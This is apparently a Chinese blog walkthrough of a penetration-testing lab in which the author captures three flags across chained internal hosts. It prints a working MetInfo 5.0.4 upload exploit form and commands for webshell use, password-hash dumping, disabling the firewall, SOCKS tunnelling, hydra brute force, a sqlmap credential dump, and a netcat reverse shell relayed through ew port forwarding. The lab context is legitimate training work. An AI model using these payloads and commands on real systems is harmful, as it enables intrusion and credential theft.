关于多级级联V2

最新推荐文章于 2022-06-24 11:37:38 发布

VVsec

最新推荐文章于 2022-06-24 11:37:38 发布

阅读量480

点赞数

分类专栏：端口转发渗透测试文章标签：多级级联端口转发 Linux提权 sql注入

本文链接：https://blog.csdn.net/qq_45165528/article/details/103207173

版权

渗透测试同时被 2 个专栏收录

2 篇文章 1 订阅

订阅专栏

端口转发

1 篇文章 0 订阅

订阅专栏

实验

文章目录

实验

实验工具

VMware Workstation 15 Player
https://pan.baidu.com/s/17KNdgTOBStnfE0MEYPP6lQ提取码：0u6b

搭建环境

1.外网靶场 IP:192.168.100.130 NAT模式
2.调整物理机的网卡VMnet8的ipv4为192.168.100.1

实验要求

1.期间不允许使用虚拟机
2.在三个靶场中找出三个Flag

实验步骤

第一个Flag（文件上传漏洞）

打开网站之后发现是MetInfo v5.0.4版本的框架，知道相应版本的框架之后接下来的操作就是百度，看是否有出相应的漏洞。百度之后发现了有一出存在文件上传漏洞
漏洞位置：http://192.168.100.130/admin/include/uploadify.php
然后自己写一个html文件，代码如下

<meta charset="utf-8">
<form
    enctype="multipart/form-data"
    method="post"
    name="myfrom"
    action="http://192.168.100.130/admin/include/uploadify.php?tablepre=xx&met_lang=met_lang&lang=cn&met_admin_table=met_admin_table%20where%20usertype=3%23&metinfo_admin_id=1&metinfo_admin_pass=2&type=upfile&met_file_format=jpg|pphphp"
>
    <input name="Filedata" type="file" size=20>
    <input type="submit" name="Submit" value="提交信息">
</form>

将已经写好的一句话木马，上传到网站目录中。
在这里插入图片描述
知道上传路径之后，就可以通过菜刀连接了，输入地址，密码为666，成功连接菜刀之后，打开虚拟终端输入whoami查看当前用户的权限。

当前已经是系统权限，所以不需要提权，获取到getshell之后，我们就要进一步的对主机进行渗透。
将QuarksPwDump.exe上传至C盘根目录下，通过命令行打开获取密码的哈希值
在这里插入图片描述
通过MD5解密，解密出密码为：a1b2c3
接下来通过命令netstat -ano查看3389端口是否开启，准备远程连接。

3389端口是开启状态，但是当远程连接的时候还是连接不上，此时说明有两方面的原因。
①防火墙是开启状态
②系统禁止远程登录连接
我们可以尝试关闭防火墙，输入命令net stop sharedaccess，再次远程连接时已经可以连接了。
输入账号administrator密码a1b2c3成功连接到主机
在这里插入图片描述
第一个Flag已经找到

第二个Flag（代理 hydra密码爆破）

桌面上并没有什么有价值的信息，接下来可以查看以下IE浏览器的历史纪录，历史记录的位置为C:\Documents and Settings\Administrator\Local Settings\History,通过查看历史记录，发现了两个有价值的IP地址，一个是10.200.1.15另一个是10.200.1.16
浏览器历史记录中有一条记录为：ftp:10.200.1.15,点开之后登录需要密码，已知用户名为admin
在这里插入图片描述
目标：hydra进行密码爆破。
首先将tunnel.nosocket.php文件上传服务器中，在物理机中打开文件，查看是否可用。

然后将reGeorgSocksProxy.py上传至kali中，输入python reGeorgSocksProxy.py -u http://192.168.100.130/tunnel.nosocket.php运行文件
在这里插入图片描述
运行成功之后，设置代理，使用命令vi etc/proxychains.conf，打开文件之后，在文件的最底部，将socks4修改为socks5 127.0.0.1 8888并保存退出
输入命令proxychains hydra -l admin -P pass.txt ftp://10.200.1.15进行密码爆破

成功爆破密码，返回外网主机进行ftp登录
第二个Flag就在ftp文件夹下面
在这里插入图片描述

第三个Flag（sql注入，端口转发，提权）

打开ftp之后发现了网站目录，可以下载下来进行代码审计，在代码审计的过程中，发现了一处可能存在SQL注入的地方。
地址：http://10.200.1.16/message.php?id=1
通过简单的验证之后发现他是联合查询注入，显示位是2，然后就可以使用sqlmap
输入命令proxychains sqlmap -u http://10.200.1.16/message.php?id=1 -D my_oa -T admin -C password,username --dump导出数据库中admin表中的用户及密码
在这里插入图片描述
找到登录密码之后直接登录OA系统
地址：http://10.200.1.16/admin/login.php
登录网站之后，发现一处存在任意文件上传漏洞，直接上传大马
地址：http://10.200.1.16/admin/userinfo.php
通过ftp找到文件上传的路径，在浏览器中打开。接下来进行反弹端口
接着，在物理机中使用nc.exe对5555端口进行监听，输入命令：nc.exe -lvvp 5555
在这里插入图片描述
然后将ew通过菜刀上传至外网主机中，然后进行端口转发，输入命令ew_for_Win.exe -s lcx_tran -l 4444 -f 192.168.100.1 -g 5555

然后打开大马，进行端口反弹

反弹成功，此时我的物理机已经进入到了IP为：10.200.1.16的命令行，通过whoami查看当前用户权限，需要提权
在这里插入图片描述
通过大马上传相应的exp
修改上传的exp的操作权限为777通过命令chomd 777 exp1

然后查看root目录下的文件找到第三个Flag